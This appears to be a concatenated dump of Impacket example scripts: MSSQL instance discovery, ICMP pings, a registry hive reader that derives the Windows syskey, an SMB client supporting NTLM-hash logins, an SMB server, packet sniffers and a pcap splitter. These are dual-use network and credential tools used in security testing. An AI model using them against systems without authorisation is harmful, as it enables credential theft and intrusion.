26 | from impacket.examples import logger 27 | from impacket import version, tds 28 | 29 | if __name__ == '__main__': 30 | 31 | print(version.BANNER) 32 | # Init the example's logger theme 33 | logger.init() 34 | 35 | parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.") 36 | 37 | parser.add_argument('host', action='store', help='target host') 38 | parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer') 39 | 40 | if len(sys.argv)==1: 41 | parser.print_help() 42 | sys.exit(1) 43 | 44 | options = parser.parse_args() 45 | 46 | ms_sql = tds.MSSQL(options.host) 47 | instances = ms_sql.getInstances(int(options.timeout)) 48 | if len(instances) == 0: 49 | "No MSSQL Instances found" 50 | else: 51 | for i, instance in enumerate(instances): 52 | logging.info("Instance %d" % i) 53 | for key in list(instance.keys()): 54 | print(key + ":" + instance[key]) 55 | -------------------------------------------------------------------------------- /plugins/examples/ping.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2023 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple ICMP ping. 12 | # 13 | # This implementation of ping uses the ICMP echo and echo-reply packets 14 | # to check the status of a host. If the remote host is up, it should reply 15 | # to the echo probe with an echo-reply packet. 16 | # Note that this isn't a definite test, as in the case the remote host is up 17 | # but refuses to reply the probes. 18 | # Also note that the user must have special access to be able to open a raw 19 | # socket, which this program requires. 20 | # 21 | # Authors: 22 | # Gerardo Richarte (@gerasdf) 23 | # Javier Kohen 24 | # 25 | # Reference for: 26 | # ImpactPacket: IP, ICMP, DATA 27 | # ImpactDecoder 28 | # 29 | 30 | import select 31 | import socket 32 | import time 33 | import sys 34 | 35 | from impacket import ImpactDecoder, ImpactPacket 36 | 37 | if len(sys.argv) < 3: 38 | print("Use: %s " % sys.argv[0]) 39 | sys.exit(1) 40 | 41 | src = sys.argv[1] 42 | dst = sys.argv[2] 43 | 44 | # Create a new IP packet and set its source and destination addresses. 45 | 46 | ip = ImpactPacket.IP() 47 | ip.set_ip_src(src) 48 | ip.set_ip_dst(dst) 49 | 50 | # Create a new ICMP packet of type ECHO. 51 | 52 | icmp = ImpactPacket.ICMP() 53 | icmp.set_icmp_type(icmp.ICMP_ECHO) 54 | 55 | # Include a 156-character long payload inside the ICMP packet. 56 | icmp.contains(ImpactPacket.Data(b"A"*156)) 57 | 58 | # Have the IP packet contain the ICMP packet (along with its payload). 59 | ip.contains(icmp) 60 | 61 | # Open a raw socket. Special permissions are usually required. 62 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) 63 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 64 | 65 | seq_id = 0 66 | while 1: 67 | # Give the ICMP packet the next ID in the sequence. 68 | seq_id += 1 69 | icmp.set_icmp_id(seq_id) 70 | 71 | # Calculate its checksum. 72 | icmp.set_icmp_cksum(0) 73 | icmp.auto_checksum = 1 74 | 75 | # Send it to the target host. 76 | s.sendto(ip.get_packet(), (dst, 0)) 77 | 78 | # Wait for incoming replies. 79 | if s in select.select([s], [], [], 1)[0]: 80 | reply = s.recvfrom(2000)[0] 81 | 82 | # Use ImpactDecoder to reconstruct the packet hierarchy. 83 | rip = ImpactDecoder.IPDecoder().decode(reply) 84 | # Extract the ICMP packet from its container (the IP packet). 85 | ricmp = rip.child() 86 | 87 | # If the packet matches, report it to the user. 88 | if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type(): 89 | print("Ping reply for sequence #%d" % ricmp.get_icmp_id()) 90 | 91 | time.sleep(1) 92 | -------------------------------------------------------------------------------- /plugins/examples/ping6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2023 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple ICMP6 ping. 12 | # 13 | # This implementation of ping uses the ICMP echo and echo-reply packets 14 | # to check the status of a host. If the remote host is up, it should reply 15 | # to the echo probe with an echo-reply packet. 16 | # Note that this isn't a definite test, as in the case the remote host is up 17 | # but refuses to reply the probes. 18 | # Also note that the user must have special access to be able to open a raw 19 | # socket, which this program requires. 20 | # 21 | # Authors: 22 | # Alberto Solino (@agsolino) 23 | # 24 | # Reference for: 25 | # ImpactPacket: ICMP6 26 | # ImpactDecoder 27 | # 28 | 29 | import select 30 | import socket 31 | import time 32 | import sys 33 | 34 | from impacket import ImpactDecoder, IP6, ICMP6, version 35 | 36 | print(version.BANNER) 37 | 38 | if len(sys.argv) < 3: 39 | print("Use: %s " % sys.argv[0]) 40 | sys.exit(1) 41 | 42 | src = sys.argv[1] 43 | dst = sys.argv[2] 44 | 45 | # Create a new IP packet and set its source and destination addresses. 46 | 47 | ip = IP6.IP6() 48 | ip.set_ip_src(src) 49 | ip.set_ip_dst(dst) 50 | ip.set_traffic_class(0) 51 | ip.set_flow_label(0) 52 | ip.set_hop_limit(64) 53 | 54 | # Open a raw socket. Special permissions are usually required. 55 | s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6) 56 | 57 | payload = b"A"*156 58 | 59 | print("PING %s %d data bytes" % (dst, len(payload))) 60 | seq_id = 0 61 | while 1: 62 | # Give the ICMP packet the next ID in the sequence. 63 | seq_id += 1 64 | icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload) 65 | 66 | # Have the IP packet contain the ICMP packet (along with its payload). 67 | ip.contains(icmp) 68 | ip.set_next_header(ip.child().get_ip_protocol_number()) 69 | ip.set_payload_length(ip.child().get_size()) 70 | icmp.calculate_checksum() 71 | 72 | # Send it to the target host. 73 | s.sendto(icmp.get_packet(), (dst, 0)) 74 | 75 | # Wait for incoming replies. 76 | if s in select.select([s], [], [], 1)[0]: 77 | reply = s.recvfrom(2000)[0] 78 | 79 | # Use ImpactDecoder to reconstruct the packet hierarchy. 80 | rip = ImpactDecoder.ICMP6Decoder().decode(reply) 81 | 82 | # If the packet matches, report it to the user. 83 | if ICMP6.ICMP6.ECHO_REPLY == rip.get_type(): 84 | print("%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4, dst, rip.get_echo_sequence_number())) 85 | 86 | time.sleep(1) 87 | -------------------------------------------------------------------------------- /plugins/examples/registry-read.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2023 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # A Windows Registry Reader Example 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # 16 | # Reference for: 17 | # winregistry.py 18 | # 19 | 20 | from __future__ import division 21 | from __future__ import print_function 22 | import sys 23 | import argparse 24 | import ntpath 25 | from binascii import unhexlify, hexlify 26 | 27 | from impacket.examples import logger 28 | from impacket import version 29 | from impacket import winregistry 30 | 31 | 32 | def bootKey(reg): 33 | baseClass = 'ControlSet001\\Control\\Lsa\\' 34 | keys = ['JD','Skew1','GBG','Data'] 35 | tmpKey = '' 36 | 37 | for key in keys: 38 | tmpKey = tmpKey + unhexlify(reg.getClass(baseClass + key).decode('utf-16le')[:8]) 39 | 40 | transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] 41 | 42 | syskey = '' 43 | for i in range(len(tmpKey)): 44 | syskey += tmpKey[transforms[i]] 45 | 46 | print(hexlify(syskey)) 47 | 48 | def getClass(reg, className): 49 | regKey = ntpath.dirname(className) 50 | regClass = ntpath.basename(className) 51 | 52 | value = reg.getClass(className) 53 | 54 | if value is None: 55 | return 56 | 57 | print("[%s]" % regKey) 58 | 59 | print("Value for Class %s: \n" % regClass, end=' ') 60 | 61 | winregistry.hexdump(value,' ') 62 | 63 | def getValue(reg, keyValue): 64 | regKey = ntpath.dirname(keyValue) 65 | regValue = ntpath.basename(keyValue) 66 | 67 | value = reg.getValue(keyValue) 68 | 69 | print("[%s]\n" % regKey) 70 | 71 | if value is None: 72 | return 73 | 74 | print("Value for %s:\n " % regValue, end=' ') 75 | reg.printValue(value[0],value[1]) 76 | 77 | def enumValues(reg, searchKey): 78 | key = reg.findKey(searchKey) 79 | 80 | if key is None: 81 | return 82 | 83 | print("[%s]\n" % searchKey) 84 | 85 | values = reg.enumValues(key) 86 | print(values) 87 | 88 | for value in values: 89 | print(" %-30s: " % value, end=' ') 90 | data = reg.getValue('%s\\%s'%(searchKey,value.decode('utf-8'))) 91 | # Special case for binary string.. so it looks better formatted 92 | if data[0] == winregistry.REG_BINARY: 93 | print('') 94 | reg.printValue(data[0],data[1]) 95 | print('') 96 | else: 97 | reg.printValue(data[0],data[1]) 98 | 99 | def enumKey(reg, searchKey, isRecursive, indent=' '): 100 | parentKey = reg.findKey(searchKey) 101 | 102 | if parentKey is None: 103 | return 104 | 105 | keys = reg.enumKey(parentKey) 106 | 107 | for key in keys: 108 | print("%s%s" %(indent, key)) 109 | if isRecursive is True: 110 | if searchKey == '\\': 111 | enumKey(reg, '\\%s'%key,isRecursive,indent+' ') 112 | else: 113 | enumKey(reg, '%s\\%s'%(searchKey,key),isRecursive,indent+' ') 114 | 115 | def walk(reg, keyName): 116 | return reg.walk(keyName) 117 | 118 | 119 | def main(): 120 | # Init the example's logger theme 121 | logger.init() 122 | print(version.BANNER) 123 | 124 | parser = argparse.ArgumentParser(add_help = True, description = "Reads data from registry hives.") 125 | 126 | parser.add_argument('hive', action='store', help='registry hive to open') 127 | subparsers = parser.add_subparsers(help='actions', dest='action') 128 | # A enum_key command 129 | enumkey_parser = subparsers.add_parser('enum_key', help='enumerates the subkeys of the specified open registry key') 130 | enumkey_parser.add_argument('-name', action='store', required=True, help='registry key') 131 | enumkey_parser.add_argument('-recursive', dest='recursive', action='store_true', required=False, help='recursive search (default False)') 132 | 133 | # A enum_values command 134 | enumvalues_parser = subparsers.add_parser('enum_values', help='enumerates the values for the specified open registry key') 135 | enumvalues_parser.add_argument('-name', action='store', required=True, help='registry key') 136 | 137 | # A get_value command 138 | getvalue_parser = subparsers.add_parser('get_value', help='retrieves the data for the specified registry value') 139 | getvalue_parser.add_argument('-name', action='store', required=True, help='registry value') 140 | 141 | # A get_class command 142 | getclass_parser = subparsers.add_parser('get_class', help='retrieves the data for the specified registry class') 143 | getclass_parser.add_argument('-name', action='store', required=True, help='registry class name') 144 | 145 | # A walk command 146 | walk_parser = subparsers.add_parser('walk', help='walks the registry from the name node down') 147 | walk_parser.add_argument('-name', action='store', required=True, help='registry class name to start walking down from') 148 | 149 | if len(sys.argv)==1: 150 | parser.print_help() 151 | sys.exit(1) 152 | 153 | options = parser.parse_args() 154 | 155 | reg = winregistry.Registry(options.hive) 156 | 157 | if options.action.upper() == 'ENUM_KEY': 158 | print("[%s]" % options.name) 159 | enumKey(reg, options.name, options.recursive) 160 | elif options.action.upper() == 'ENUM_VALUES': 161 | enumValues(reg, options.name) 162 | elif options.action.upper() == 'GET_VALUE': 163 | getValue(reg, options.name) 164 | elif options.action.upper() == 'GET_CLASS': 165 | getClass(reg, options.name) 166 | elif options.action.upper() == 'WALK': 167 | walk(reg, options.name) 168 | 169 | reg.close() 170 | 171 | if __name__ == "__main__": 172 | main() 173 | -------------------------------------------------------------------------------- /plugins/examples/smbclient.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2023 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Mini shell using some of the SMB functionality of the library 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # 16 | # Reference for: 17 | # SMB DCE/RPC 18 | # 19 | 20 | from __future__ import division 21 | from __future__ import print_function 22 | import sys 23 | import logging 24 | import argparse 25 | from impacket.examples import logger 26 | from impacket.examples.utils import parse_target 27 | from impacket.examples.smbclient import MiniImpacketShell 28 | from impacket import version 29 | from impacket.smbconnection import SMBConnection 30 | 31 | def main(): 32 | # Init the example's logger theme 33 | logger.init() 34 | print(version.BANNER) 35 | parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.") 36 | 37 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 38 | parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') 39 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 40 | 41 | group = parser.add_argument_group('authentication') 42 | 43 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 44 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 45 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 46 | '(KRB5CCNAME) based on target parameters. If valid credentials ' 47 | 'cannot be found, it will use the ones specified in the command ' 48 | 'line') 49 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 50 | '(128 or 256 bits)') 51 | 52 | group = parser.add_argument_group('connection') 53 | 54 | group.add_argument('-dc-ip', action='store', metavar="ip address", 55 | help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 56 | 'the target parameter') 57 | group.add_argument('-target-ip', action='store', metavar="ip address", 58 | help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 59 | 'This is useful when target is the NetBIOS name and you cannot resolve it') 60 | group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", 61 | help='Destination port to connect to SMB Server') 62 | 63 | if len(sys.argv)==1: 64 | parser.print_help() 65 | sys.exit(1) 66 | 67 | options = parser.parse_args() 68 | 69 | if options.debug is True: 70 | logging.getLogger().setLevel(logging.DEBUG) 71 | # Print the Library's installation path 72 | logging.debug(version.getInstallationPath()) 73 | else: 74 | logging.getLogger().setLevel(logging.INFO) 75 | 76 | domain, username, password, address = parse_target(options.target) 77 | 78 | if options.target_ip is None: 79 | options.target_ip = address 80 | 81 | if domain is None: 82 | domain = '' 83 | 84 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 85 | from getpass import getpass 86 | password = getpass("Password:") 87 | 88 | if options.aesKey is not None: 89 | options.k = True 90 | 91 | if options.hashes is not None: 92 | lmhash, nthash = options.hashes.split(':') 93 | else: 94 | lmhash = '' 95 | nthash = '' 96 | 97 | try: 98 | smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port)) 99 | if options.k is True: 100 | smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip ) 101 | else: 102 | smbClient.login(username, password, domain, lmhash, nthash) 103 | 104 | shell = MiniImpacketShell(smbClient) 105 | 106 | if options.file is not None: 107 | logging.info("Executing commands from %s" % options.file.name) 108 | for line in options.file.readlines(): 109 | if line[0] != '#': 110 | print("# %s" % line, end=' ') 111 | shell.onecmd(line) 112 | else: 113 | print(line, end=' ') 114 | else: 115 | shell.cmdloop() 116 | except Exception as e: 117 | if logging.getLogger().level == logging.DEBUG: 118 | import traceback 119 | traceback.print_exc() 120 | logging.error(str(e)) 121 | 122 | if __name__ == "__main__": 123 | main() 124 | -------------------------------------------------------------------------------- /plugins/examples/smbserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2023 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple SMB Server example. 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # 16 | 17 | import sys 18 | import argparse 19 | import logging 20 | 21 | from impacket.examples import logger 22 | from impacket import smbserver, version 23 | from impacket.ntlm import compute_lmhash, compute_nthash 24 | 25 | if __name__ == '__main__': 26 | 27 | # Init the example's logger theme 28 | print(version.BANNER) 29 | 30 | parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a " 31 | "share specified as an argument. You need to be root in order to bind to port 445. " 32 | "For optional authentication, it is possible to specify username and password or the NTLM hash. " 33 | "Example: smbserver.py -comment 'My share' TMP /tmp") 34 | 35 | parser.add_argument('shareName', action='store', help='name of the share to add') 36 | parser.add_argument('sharePath', action='store', help='path of the share to add') 37 | parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares') 38 | parser.add_argument('-username', action="store", help='Username to authenticate clients') 39 | parser.add_argument('-password', action="store", help='Password for the Username') 40 | parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH') 41 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') 42 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 43 | parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface') 44 | parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)') 45 | parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') 46 | 47 | if len(sys.argv)==1: 48 | parser.print_help() 49 | sys.exit(1) 50 | 51 | try: 52 | options = parser.parse_args() 53 | except Exception as e: 54 | logging.critical(str(e)) 55 | sys.exit(1) 56 | 57 | logger.init(options.ts) 58 | 59 | if options.debug is True: 60 | logging.getLogger().setLevel(logging.DEBUG) 61 | # Print the Library's installation path 62 | logging.debug(version.getInstallationPath()) 63 | else: 64 | logging.getLogger().setLevel(logging.INFO) 65 | 66 | if options.comment is None: 67 | comment = '' 68 | else: 69 | comment = options.comment 70 | 71 | server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port)) 72 | 73 | server.addShare(options.shareName.upper(), options.sharePath, comment) 74 | server.setSMB2Support(options.smb2support) 75 | 76 | # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous 77 | # connections will be allowed 78 | if options.username is not None: 79 | # we either need a password or hashes, if not, ask 80 | if options.password is None and options.hashes is None: 81 | from getpass import getpass 82 | password = getpass("Password:") 83 | # Let's convert to hashes 84 | lmhash = compute_lmhash(password) 85 | nthash = compute_nthash(password) 86 | elif options.password is not None: 87 | lmhash = compute_lmhash(options.password) 88 | nthash = compute_nthash(options.password) 89 | else: 90 | lmhash, nthash = options.hashes.split(':') 91 | 92 | server.addCredential(options.username, 0, lmhash, nthash) 93 | 94 | # Here you can set a custom SMB challenge in hex format 95 | # If empty defaults to '4141414141414141' 96 | # (remember: must be 16 hex bytes long) 97 | # e.g. server.setSMBChallenge('12345678abcdef00') 98 | server.setSMBChallenge('') 99 | 100 | # If you don't want log to stdout, comment the following line 101 | # If you want log dumped to a file, enter the filename 102 | server.setLogFile('') 103 | 104 | # Rock and roll 105 | server.start() 106 | -------------------------------------------------------------------------------- /plugins/examples/sniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2023 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple packet sniffer. 12 | # 13 | # This packet sniffer uses the pcap library to listen for packets in 14 | # transit over the specified interface. The returned packages can be 15 | # filtered according to a BPF filter (see tcpdump(3) for further 16 | # information on BPF filters). 17 | # 18 | # Note that the user might need special permissions to be able to use pcap. 19 | # 20 | # Authors: 21 | # Maximiliano Caceres 22 | # Javier Kohen 23 | # 24 | # Reference for: 25 | # pcapy: findalldevs, open_live 26 | # ImpactDecoder 27 | # 28 | 29 | import sys 30 | from threading import Thread 31 | import pcapy 32 | from pcapy import findalldevs, open_live 33 | 34 | from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder 35 | 36 | 37 | class DecoderThread(Thread): 38 | def __init__(self, pcapObj): 39 | # Query the type of the link and instantiate a decoder accordingly. 40 | datalink = pcapObj.datalink() 41 | if pcapy.DLT_EN10MB == datalink: 42 | self.decoder = EthDecoder() 43 | elif pcapy.DLT_LINUX_SLL == datalink: 44 | self.decoder = LinuxSLLDecoder() 45 | else: 46 | raise Exception("Datalink type not supported: " % datalink) 47 | 48 | self.pcap = pcapObj 49 | Thread.__init__(self) 50 | 51 | def run(self): 52 | # Sniff ad infinitum. 53 | # PacketHandler shall be invoked by pcap for every packet. 54 | self.pcap.loop(0, self.packetHandler) 55 | 56 | def packetHandler(self, hdr, data): 57 | # Use the ImpactDecoder to turn the rawpacket into a hierarchy 58 | # of ImpactPacket instances. 59 | # Display the packet in human-readable form. 60 | print(self.decoder.decode(data)) 61 | 62 | 63 | def getInterface(): 64 | # Grab a list of interfaces that pcap is able to listen on. 65 | # The current user will be able to listen from all returned interfaces, 66 | # using open_live to open them. 67 | ifs = findalldevs() 68 | 69 | # No interfaces available, abort. 70 | if 0 == len(ifs): 71 | print("You don't have enough permissions to open any interface on this system.") 72 | sys.exit(1) 73 | 74 | # Only one interface available, use it. 75 | elif 1 == len(ifs): 76 | print('Only one interface present, defaulting to it.') 77 | return ifs[0] 78 | 79 | # Ask the user to choose an interface from the list. 80 | count = 0 81 | for iface in ifs: 82 | print('%i - %s' % (count, iface)) 83 | count += 1 84 | idx = int(input('Please select an interface: ')) 85 | 86 | return ifs[idx] 87 | 88 | def main(filter): 89 | dev = getInterface() 90 | 91 | # Open interface for catpuring. 92 | p = open_live(dev, 1500, 0, 100) 93 | 94 | # Set the BPF filter. See tcpdump(3). 95 | p.setfilter(filter) 96 | 97 | print("Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink())) 98 | 99 | # Start sniffing thread and finish main thread. 100 | DecoderThread(p).start() 101 | 102 | # Process command-line arguments. Take everything as a BPF filter to pass 103 | # onto pcap. Default to the empty filter (match all). 104 | filter = '' 105 | if len(sys.argv) > 1: 106 | filter = ' '.join(sys.argv[1:]) 107 | 108 | main(filter) 109 | -------------------------------------------------------------------------------- /plugins/examples/sniffer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2023 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple packet sniffer. 12 | # 13 | # This packet sniffer uses a raw socket to listen for packets 14 | # in transit corresponding to the specified protocols. 15 | # 16 | # Note that the user might need special permissions to be able to use 17 | # raw sockets. 18 | # 19 | # Authors: 20 | # Gerardo Richarte (@gerasdf) 21 | # Javier Kohen 22 | # 23 | # Reference for: 24 | # ImpactDecoder 25 | # 26 | 27 | from select import select 28 | import socket 29 | import sys 30 | 31 | from impacket import ImpactDecoder 32 | 33 | DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp') 34 | 35 | if len(sys.argv) == 1: 36 | toListen = DEFAULT_PROTOCOLS 37 | print("Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s [proto2] ..." % sys.argv[0]) 38 | else: 39 | toListen = sys.argv[1:] 40 | 41 | # Open one socket for each specified protocol. 42 | # A special option is set on the socket so that IP headers are included with 43 | # the returned data. 44 | sockets = [] 45 | for protocol in toListen: 46 | try: 47 | protocol_num = socket.getprotobyname(protocol) 48 | except socket.error: 49 | print("Ignoring unknown protocol:", protocol) 50 | toListen.remove(protocol) 51 | continue 52 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) 53 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 54 | sockets.append(s) 55 | 56 | if 0 == len(toListen): 57 | print("There are no protocols available.") 58 | sys.exit(0) 59 | 60 | print("Listening on protocols:", toListen) 61 | 62 | # Instantiate an IP packets decoder. 63 | # As all the packets include their IP header, that decoder only is enough. 64 | decoder = ImpactDecoder.IPDecoder() 65 | 66 | while len(sockets) > 0: 67 | # Wait for an incoming packet on any socket. 68 | ready = select(sockets, [], [])[0] 69 | for s in ready: 70 | packet = s.recvfrom(4096)[0] 71 | if 0 == len(packet): 72 | # Socket remotely closed. Discard it. 73 | sockets.remove(s) 74 | s.close() 75 | else: 76 | # Packet received. Decode and display it. 77 | packet = decoder.decode(packet) 78 | print(packet) 79 | -------------------------------------------------------------------------------- /plugins/examples/split.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2023 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Pcap dump splitter 12 | # 13 | # This tools splits pcap capture files into smaller ones, one for each 14 | # different TCP/IP connection found in the original. 15 | # 16 | # Authors: 17 | # Alejandro D. Weil 18 | # Javier Kohen 19 | # 20 | # Reference for: 21 | # pcapy: open_offline, pcapdumper 22 | # ImpactDecoder 23 | # 24 | 25 | from __future__ import division 26 | from __future__ import print_function 27 | import sys 28 | import pcapy 29 | from pcapy import open_offline 30 | 31 | from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder 32 | 33 | 34 | class Connection: 35 | """This class can be used as a key in a dictionary to select a connection 36 | given a pair of peers. Two connections are considered the same if both 37 | peers are equal, despite the order in which they were passed to the 38 | class constructor. 39 | """ 40 | 41 | def __init__(self, p1, p2): 42 | """This constructor takes two tuples, one for each peer. The first 43 | element in each tuple is the IP address as a string, and the 44 | second is the port as an integer. 45 | """ 46 | 47 | self.p1 = p1 48 | self.p2 = p2 49 | 50 | def getFilename(self): 51 | """Utility function that returns a filename composed by the IP 52 | addresses and ports of both peers. 53 | """ 54 | return '%s.%d-%s.%d.pcap'%(self.p1[0],self.p1[1],self.p2[0],self.p2[1]) 55 | 56 | def __cmp__(self, other): 57 | if ((self.p1 == other.p1 and self.p2 == other.p2) 58 | or (self.p1 == other.p2 and self.p2 == other.p1)): 59 | return 0 60 | else: 61 | return -1 62 | 63 | def __hash__(self): 64 | return (hash(self.p1[0]) ^ hash(self.p1[1]) 65 | ^ hash(self.p2[0]) ^ hash(self.p2[1])) 66 | 67 | 68 | class Decoder: 69 | def __init__(self, pcapObj): 70 | # Query the type of the link and instantiate a decoder accordingly. 71 | datalink = pcapObj.datalink() 72 | if pcapy.DLT_EN10MB == datalink: 73 | self.decoder = EthDecoder() 74 | elif pcapy.DLT_LINUX_SLL == datalink: 75 | self.decoder = LinuxSLLDecoder() 76 | else: 77 | raise Exception("Datalink type not supported: " % datalink) 78 | 79 | self.pcap = pcapObj 80 | self.connections = {} 81 | 82 | def start(self): 83 | # Sniff ad infinitum. 84 | # PacketHandler shall be invoked by pcap for every packet. 85 | self.pcap.loop(0, self.packetHandler) 86 | 87 | def packetHandler(self, hdr, data): 88 | """Handles an incoming pcap packet. This method only knows how 89 | to recognize TCP/IP connections. 90 | Be sure that only TCP packets are passed onto this handler (or 91 | fix the code to ignore the others). 92 | 93 | Setting r"ip proto \tcp" as part of the pcap filter expression 94 | suffices, and there shouldn't be any problem combining that with 95 | other expressions. 96 | """ 97 | 98 | # Use the ImpactDecoder to turn the rawpacket into a hierarchy 99 | # of ImpactPacket instances. 100 | p = self.decoder.decode(data) 101 | ip = p.child() 102 | tcp = ip.child() 103 | 104 | # Build a distinctive key for this pair of peers. 105 | src = (ip.get_ip_src(), tcp.get_th_sport() ) 106 | dst = (ip.get_ip_dst(), tcp.get_th_dport() ) 107 | con = Connection(src,dst) 108 | 109 | # If there isn't an entry associated yetwith this connection, 110 | # open a new pcapdumper and create an association. 111 | if ('%s%s' % (con.p1, con.p2)) not in self.connections: 112 | fn = con.getFilename() 113 | print("Found a new connection, storing into:", fn) 114 | try: 115 | dumper = self.pcap.dump_open(fn) 116 | except pcapy.PcapError: 117 | print("Can't write packet to:", fn) 118 | return 119 | self.connections['%s%s' % (con.p1, con.p2)] = dumper 120 | 121 | # Write the packet to the corresponding file. 122 | self.connections['%s%s' % (con.p1, con.p2)].dump(hdr, data) 123 | 124 | 125 | 126 | def main(filename): 127 | # Open file 128 | p = open_offline(filename) 129 | 130 | # At the moment the callback only accepts TCP/IP packets. 131 | p.setfilter(r'ip proto \tcp') 132 | 133 | print("Reading from %s: linktype=%d" % (filename, p.datalink())) 134 | 135 | # Start decoding process. 136 | Decoder(p).start() 137 | 138 | 139 | # Process command-line arguments. 140 | if __name__ == '__main__': 141 | if len(sys.argv) <= 1: 142 | print("Usage: %s " % sys.argv[0]) 143 | sys.exit(1) 144 | 145 | main(sys.argv[1]) 146 | -------------------------------------------------------------------------------- /plugins/examples/ticketConverter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2023 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # This script will convert kirbi files (commonly used by mimikatz) into ccache files used by impacket, 12 | # and vice versa. 13 | # 14 | # Examples: 15 | # ./ticket_converter.py admin.ccache admin.kirbi 16 | # ./ticket_converter.py admin.kirbi admin.ccache 17 | # 18 | # Author: 19 | 